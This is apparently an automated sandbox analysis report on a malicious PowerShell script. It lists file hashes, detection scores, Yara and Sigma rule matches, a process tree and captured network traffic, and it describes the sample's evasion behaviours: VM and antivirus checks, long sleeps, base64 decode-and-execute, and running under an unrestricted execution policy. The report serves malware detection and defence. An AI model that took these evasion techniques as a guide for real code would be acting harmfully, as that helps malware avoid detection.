Edit tour

Windows Analysis Report
KpCJCaQswCshdLQFFKLtCbGdhL.ps1

Overview

General Information

Sample name:	KpCJCaQswCshdLQFFKLtCbGdhL.ps1
Analysis ID:	1524853
MD5:	be17c7ab0df8d563c589dcdbb19f94dc
SHA1:	fbe74dbc00000ff1880be5f58abd4aeb630eb012
SHA256:	0e71728e5e6a762923fc0372e2047e0d969bcc5efbf4f3010df2ff6576cab725
Tags:	cdn1124-netps1user-JAMESWT_MHT
Infos:

Detection

Score:	68
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Powershell decode and execute

Found suspicious powershell code related to unpacking or dynamic code loading

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Connects to many different domains

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTML page contains hidden javascript code

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

powershell.exe (PID: 7488 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\KpCJCaQswCshdLQFFKLtCbGdhL.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7496 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7728 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7736 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 7844 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.concur.com/ MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 8056 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2076 --field-trial-handle=2028,i,5747525152583014474,9378856125692830387,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 8800 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4976 --field-trial-handle=2028,i,5747525152583014474,9378856125692830387,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

svchost.exe (PID: 7972 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
KpCJCaQswCshdLQFFKLtCbGdhL.ps1	JoeSecurity_PowershellDecodeAndExecute	Yara detected Powershell decode and execute	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 7488	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x1a16d:$b2: ::FromBase64String( 0x1a48a:$b2: ::FromBase64String( 0x1a8fe:$b2: ::FromBase64String( 0x4c0a8:$b2: ::FromBase64String( 0x4c3c5:$b2: ::FromBase64String( 0x4c839:$b2: ::FromBase64String( 0x4d370:$b2: ::FromBase64String( 0x4d6df:$b2: ::FromBase64String( 0x4dba7:$b2: ::FromBase64String( 0x4e33c:$b2: ::FromBase64String( 0x53a65:$b2: ::FromBase64String( 0x53d82:$b2: ::FromBase64String( 0x541f6:$b2: ::FromBase64String( 0x78f95:$b2: ::FromBase64String( 0x79304:$b2: ::FromBase64String( 0x797cc:$b2: ::FromBase64String( 0x79f61:$b2: ::FromBase64String( 0xb14e9:$b2: ::FromBase64String( 0xb1806:$b2: ::FromBase64String( 0xb1c7a:$b2: ::FromBase64String( 0xb5440:$b2: ::FromBase64String(
Process Memory Space: powershell.exe PID: 7728	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x1bc69a:$b2: ::FromBase64String( 0x1bca09:$b2: ::FromBase64String( 0x1bced1:$b2: ::FromBase64String( 0x1bd666:$b2: ::FromBase64String( 0x1be71d:$b2: ::FromBase64String( 0x1bea8c:$b2: ::FromBase64String( 0x1bef54:$b2: ::FromBase64String( 0x1bf6e9:$b2: ::FromBase64String( 0x1c07c3:$b2: ::FromBase64String( 0x1c0ae0:$b2: ::FromBase64String( 0x1c0f54:$b2: ::FromBase64String( 0x12354:$s1: -join 0x1f429:$s1: -join 0x227fb:$s1: -join 0x22ead:$s1: -join 0x2499e:$s1: -join 0x26ba4:$s1: -join 0x273cb:$s1: -join 0x27c3b:$s1: -join 0x28376:$s1: -join 0x283a8:$s1: -join

Other

Source	Rule	Description	Author	Strings
amsi64_7488.amsi.csv	JoeSecurity_PowershellDecodeAndExecute	Yara detected Powershell decode and execute	Joe Security
amsi64_7488.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x5b7:$b2: ::FromBase64String( 0x8e1:$b2: ::FromBase64String( 0xd61:$b2: ::FromBase64String( 0x1469:$b2: ::FromBase64String( 0x2ad:$s1: -join 0xda54:$s1: -join 0x7200:$s4: += 0x72c2:$s4: += 0xb4e9:$s4: += 0xd606:$s4: += 0xd8f0:$s4: += 0xda36:$s4: += 0x10085:$s4: += 0x10105:$s4: += 0x101cb:$s4: += 0x1024b:$s4: += 0x10421:$s4: += 0x104a5:$s4: += 0x94:$e4: Get-WmiObject 0x17b:$e4: Get-WmiObject 0x1e5:$e4: Get-WmiObject
amsi64_7728.amsi.csv	JoeSecurity_PowershellDecodeAndExecute	Yara detected Powershell decode and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\KpCJCaQswCshdLQFFKLtCbGdhL.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\KpCJCaQswCshdLQFFKLtCbGdhL.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\KpCJCaQswCshdLQFFKLtCbGdhL.ps1", ProcessId: 7488, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\KpCJCaQswCshdLQFFKLtCbGdhL.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\KpCJCaQswCshdLQFFKLtCbGdhL.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\KpCJCaQswCshdLQFFKLtCbGdhL.ps1", ProcessId: 7488, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7972, ProcessName: svchost.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: KpCJCaQswCshdLQFFKLtCbGdhL.ps1

ReversingLabs: Detection: 31%

Source: https://www.concur.com/

HTTP Parser: Base64 decoded: floodlight_config_id: 9504840advertiser_domain: "https://concur.com"xfa_attribution_interaction_type: CONVERSIONdebug_key: 14641317453660784631ctc_conversion_bucket: 1archetype_id: 12archetype_id: 13archetype_id: 14archetype_id: 15archetype_id: 1...

Source: https://www.concur.com/	HTTP Parser: No favicon
Source: https://www.concur.com/	HTTP Parser: No favicon
Source: https://www.concur.com/	HTTP Parser: No favicon
Source: https://www.concur.com/	HTTP Parser: No favicon
Source: https://www.concur.com/	HTTP Parser: No favicon
Source: https://www.concur.com/	HTTP Parser: No favicon
Source: https://www.concur.com/	HTTP Parser: No favicon
Source: https://www.concur.com/	HTTP Parser: No favicon
Source: https://www.concur.com/	HTTP Parser: No favicon
Source: https://www.concur.com/	HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.4:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:50238 version: TLS 1.2

Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: powershell.exe, 00000002.00000002.1953677689.000002185E987000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ion.pdbt source: powershell.exe, 00000002.00000002.1947298861.000002185E6F5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: xeem.pdbpdbtem.pdb source: powershell.exe, 00000002.00000002.1947298861.000002185E6C7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbb source: powershell.exe, 00000002.00000002.1953677689.000002185E946000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: xedll\System.pdbi. source: powershell.exe, 00000002.00000002.1947298861.000002185E6C7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: powershell.exe, 00000002.00000002.1953677689.000002185E946000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1953677689.000002185E987000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb source: powershell.exe, 00000002.00000002.1953677689.000002185E8ED000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior

Source: unknown

Network traffic detected: DNS query count 76

Source: Joe Sandbox View	IP Address: 18.66.102.98 18.66.102.98
Source: Joe Sandbox View	IP Address: 192.28.144.124 192.28.144.124
Source: Joe Sandbox View	IP Address: 66.235.152.225 66.235.152.225

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /javascript/highlight.js HTTP/1.1Host: cdn.schemaapp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /javascript/highlight.js HTTP/1.1Host: cdn.schemaapp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /highlighter/prod/ConcurTechnologies/v2/aHR0cHM6Ly93d3cuY29uY3VyLmNvbQ HTTP/1.1Host: cdn.schemaapp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"accept: application/jsonx-account-id: ConcurTechnologiessec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://www.concur.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/v3/ip.json?key=cMPgQMqMk2GCukvfKSjDvyaAi6hysDbVs1EB5Qee&callback=Dmdbase_CDC.callback HTTP/1.1Host: api.company-target.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.concur.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=dpt9cWoKkzOtLrd&MD=MZuggCGt HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=5.2.0&d_fieldgroup=MC&d_rtbd=json&d_ver=2&d_orgid=3F8B2B31536CFF310A490D4C%40AdobeOrg&d_nsid=0&ts=1727944887869 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: /Origin: https://www.concur.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /highlighter/prod/ConcurTechnologies/v2/aHR0cHM6Ly93d3cuY29uY3VyLmNvbQ HTTP/1.1Host: cdn.schemaapp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=5.2.0&d_fieldgroup=A&mcorgid=3F8B2B31536CFF310A490D4C%40AdobeOrg&mid=77086837030265396271481667617469483305&ts=1727944888789 HTTP/1.1Host: concurtechnologies.sc.omtrdc.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: /Origin: https://www.concur.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dest5.html?d_nsid=0 HTTP/1.1Host: concur.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=77063524538646072271479213259445098681
Source: global traffic	HTTP traffic detected: GET /api/v3/ip.json?key=cMPgQMqMk2GCukvfKSjDvyaAi6hysDbVs1EB5Qee&callback=Dmdbase_CDC.callback HTTP/1.1Host: api.company-target.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=5.2.0&d_fieldgroup=MC&d_rtbd=json&d_ver=2&d_orgid=3F8B2B31536CFF310A490D4C%40AdobeOrg&d_nsid=0&ts=1727944887869 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=77063524538646072271479213259445098681; dextp=21-1-1727944890685
Source: global traffic	HTTP traffic detected: GET /adscores/g.pixel?sid=9211132908&aam=77063524538646072271479213259445098681 HTTP/1.1Host: aa.agkn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://concur.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=5.2.0&d_fieldgroup=A&mcorgid=3F8B2B31536CFF310A490D4C%40AdobeOrg&mid=77086837030265396271481667617469483305&ts=1727944888789 HTTP/1.1Host: concurtechnologies.sc.omtrdc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rest/v1/delivery?client=concurtechnologies&sessionId=12c0fce70c34429588437c80568812a2&version=2.5.0 HTTP/1.1Host: concurtechnologies.tt.omtrdc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /365868.gif?partner_uid=77063524538646072271479213259445098681 HTTP/1.1Host: idsync.rlcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://concur.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /1000.gif?memo=CKyqFhIxCi0IARCYEhomNzcwNjM1MjQ1Mzg2NDYwNzIyNzE0NzkyMTMyNTk0NDUwOTg2ODEQABoNCLyx-bcGEgUI6AcQAEIASgA HTTP/1.1Host: idsync.rlcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://concur.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: rlas3=+HZYfrcbqjxf7/TZ5+7gyV3JcCZDt4TMzn91TnQsddk=; pxrc=CAA=
Source: global traffic	HTTP traffic detected: GET /ps/?pid=897&random=777609971 HTTP/1.1Host: dp2.33across.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://concur.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/concur/concur/prod/utag.js?_=1727944885416 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
